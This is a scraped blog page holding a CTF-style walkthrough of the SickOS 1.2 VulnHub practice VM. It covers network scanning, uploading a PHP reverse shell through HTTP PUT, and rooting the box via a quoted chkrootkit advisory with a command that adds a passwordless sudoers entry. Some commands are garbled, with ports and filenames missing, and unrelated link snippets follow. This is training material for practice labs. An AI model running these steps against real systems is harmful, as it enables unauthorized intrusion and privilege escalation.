SickOS 1.2 Walkthrough

Preparation:

Down load the SickOS virtual machines from the following website:

https://www.vulnhub.com/entry/sickos-12,144/

1. Scan the network to find the IP of SickOS server. The IP address of the SickOS is 10.0.0.31.

netdiscover -r 10.0.0.0/

2. Perform the TCP/UDP scan to the SickOS server to find potential vulnerabilities.

TCP Scan 1:

nmap -Pn -sS --stats-every 3m --max-retries  --max-scan-delay  --defeat-rst-ratelimit -T4 -p1- -oN /root/Delete/tcp1.txt 10.0.0.31

TCP Scan 2:

UDP Scan:

3. Browse the website(http://10.0.0.31) through Firefox. And nothing special found on the source page.

<html>

<img src="blow.jpg">

</html>

4. Run the tool nikto or dirbust

nikto -h 10.0.0.31

dirbuster

Browse the website(http://10.0.0.31/test/) through Firefox. But nothing found.

5. Try to use the tool curl to find some vulnerabilities.

curl -v -X OPTIONS http://10.0.0.31

Find some vulnerabilities here. We can put some reverse web shell to the website.

curl -v -X OPTIONS http://10.0.0.31/test

Modified and save the php-reverse-shell.php file.

6. Try to use Nmap to upload the reverse-shell file to the target website.

nmap -p  10.0.0.31 --script http-put --script-args http-put.url='/test/exploit.php',http-put.file='php-reverse-shell.php'

7. Listening on port 443 and browse the exploit website.

Now we connect  to the SickOS server.

8. Find the chkrootkit file in the folder /etc/cron.daily.

ls -l /etc/cron.daily

Find the version of chkrootkit.

dpkg -l | grep chkrootkit

Search  chkrootkit related exploit method on Kali Linux.

searchsploit chkrootkit

cat /usr/share/exploitdb/exploits/linux/local/.txt

We just found a serious vulnerability in the chkrootkit package, which

may allow local attackers to gain root access to a box in certain

configurations (/tmp not mounted noexec).

The vulnerability is located in the function slapper() in the

shellscript chkrootkit:

#

# SLAPPER.{A,B,C,D} and the multi-platform variant

#

slapper (){

   SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"

   SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \

   ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a

   SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "

   OPT=-an

   STATUS=0

   file_port=

   if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">

/dev/null 2>&1

      then

      STATUS=1

      [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \

         $egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print  $7 }' |

tr -d :`

   fi

   for i in ${SLAPPER_FILES}; do

      if [ -f ${i} ]; then

         file_port=$file_port $i

         STATUS=1

      fi

   done

   if [ ${STATUS} -eq 1 ] ;then

      echo "Warning: Possible Slapper Worm installed ($file_port)"

   else

      if [ "${QUIET}" != "t" ]; then echo "not infected"; fi

         return ${NOT_INFECTED}

   fi

}

The line 'file_port=$file_port $i' will execute all files specified in

$SLAPPER_FILES as the user chkrootkit is running (usually root), if

$file_port is empty, because of missing quotation marks around the

variable assignment.

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not

mounted noexec, obviously)

- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively

rooting your box, if malicious content is placed inside the file.

If an attacker knows you are periodically running chkrootkit (like in

cron.daily) and has write access to /tmp (not mounted noexec), he may

easily take advantage of this.

Suggested fix: Put quotation marks around the assignment.

file_port="$file_port $i"

I will also try to contact upstream, although the latest version of

chkrootkit dates back to 2009 - will have to see, if I reach a dev there.

Prepare the exploit:

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

Make sure we have the full privileges of the update file.

9. Run the run-parts command and press Enter twice. Finally, execute the command - sudo su.

Ahaaa! Get to root privilege.

run-parts /etc/cron.daily

sudo su

Try harder, until success.

OSCP Learning Notes - Capstone(4)的更多相关文章

  1. OSCP Learning Notes - Capstone(3)

    DroopyCTF Walkthrough Preparation: Download the DroopyCTF virtual machine from the following website ...

  2. OSCP Learning Notes - Capstone(2)

    BTRSys v2.1 Walkthrough Preparation: Download the BTRSys virtual machine from the following website: ...

  3. OSCP Learning Notes - Capstone(1)

    Kioptrix Level 1.1 Walkthrough Preparation: Download the virtual machine  from the following website ...

  4. OSCP Learning Notes - Overview

    Prerequisites: Knowledge of scripting languages(Bash/Pyhon) Understanding of basic networking concep ...

  5. OSCP Learning Notes - Buffer Overflows(3)

    Finding Bad Characters 1. Find the bad charaters in the following website: https://bulbsecurity.com/ ...

  6. OSCP Learning Notes - Buffer Overflows(2)

    Finding the Offset 1. Use the Metasploite pattern_create.rb tool to create 5900 characters. /usr/sha ...

  7. OSCP Learning Notes - Buffer Overflows(1)

    Introduction to Buffer Overflows Anatomy of Memory Anatomy of the Stack Fuzzing Tools: Vulnserver -  ...

  8. OSCP Learning Notes - Netcat

    Introduction to Netcat Connecting va Listening Bind Shells Attacker connects to victim on listening ...

  9. OSCP Learning Notes - Enumeration(4)

    DNS Enumeration 1. Host Tool host is a simple utility for performing DNS lookups. It is normally use ...

随机推荐

  1. rust 九九乘法表

    fn main(){ for i in 1..10 { for j in 1..i+1 { print!("{}*{}={:<2} ",j,i,i*j); } print!( ...

  2. 一文搞定Redis五大数据类型及应用场景

    本文学习知识点 redis五大数据类型数据类型:string.hash.list.set.sorted_set 五大类型各自的应用场景 @TOC 1. string类型 1-1 string类型数据的 ...

  3. JDBC——什么是JDBC？

    JDBC:Java数据库连接(Java DataBase Connectivity),是Java语言中用来规范客户端如何程序如何来访问数据库的应用程序接口(API),提供了诸如查询和更新数据库中数据的 ...

  4. opencv C++矩阵操作

    int main(){ cv::Mat src1=(cv::Mat_<float>(2,3)<<1,2,3,4,5,6); cv::Mat src2=(cv::Mat_< ...

  5. Docker图形界面管理

    之前都是使用命令行进行Docker的管理,这里简单介绍一下Docker的图形界面管理.之所以说简单介绍,是因为在生产环境都是集群,很少使用图形界面管理单台Docker主机,所以就演示记录一下,在个人测 ...

  6. RabbitMQ：四、跨越集群

    跨越集群主要两种插件:Federation和Shovel. 原来的rabbitmq集群将多个broker将多个节点连接起来组成逻辑上独立的单个broker,但是集群也有其局限性:集群内部借助 Erla ...

  7. 【SpringBoot MQ 系列】RabbitListener 消费基本使用姿势介绍

    [MQ 系列]RabbitListener 消费基本使用姿势介绍 之前介绍了 rabbitmq 的消息发送姿势,既然有发送,当然就得有消费者,在 SpringBoot 环境下,消费可以说比较简单了,借 ...

  8. MySQL函数索引及优化

    很多开发人员在使用MySQL时经常会在部分列上进行函数计算等,导致无法走索引,在数据量大的时候,查询效率低下.针对此种情况本文从MySQL5.7 及MySQL8.0中分别进行不同方式的优化. 1. M ...

  9. html5中contenteditable属性如果过滤标签，过滤富文本样式

    ​​在div中使用contenteditable=”true”可以达到模拟输入框的效果,但是当我们复制其他网页内容进去的时候,会发现连带的样式也一起复制进去了.很明显我们不需要复制富文本样式,那么如何 ...

  10. MySQL实验 内连接优化order by+limit 以及添加索引再次改进

    MySQL实验 内连接优化order by+limit 以及添加索引再次改进 在进行子查询优化双参数limit时我萌生了测试更加符合实际生产需要的ORDER BY + LIMIT的想法,或许我们也可以 ...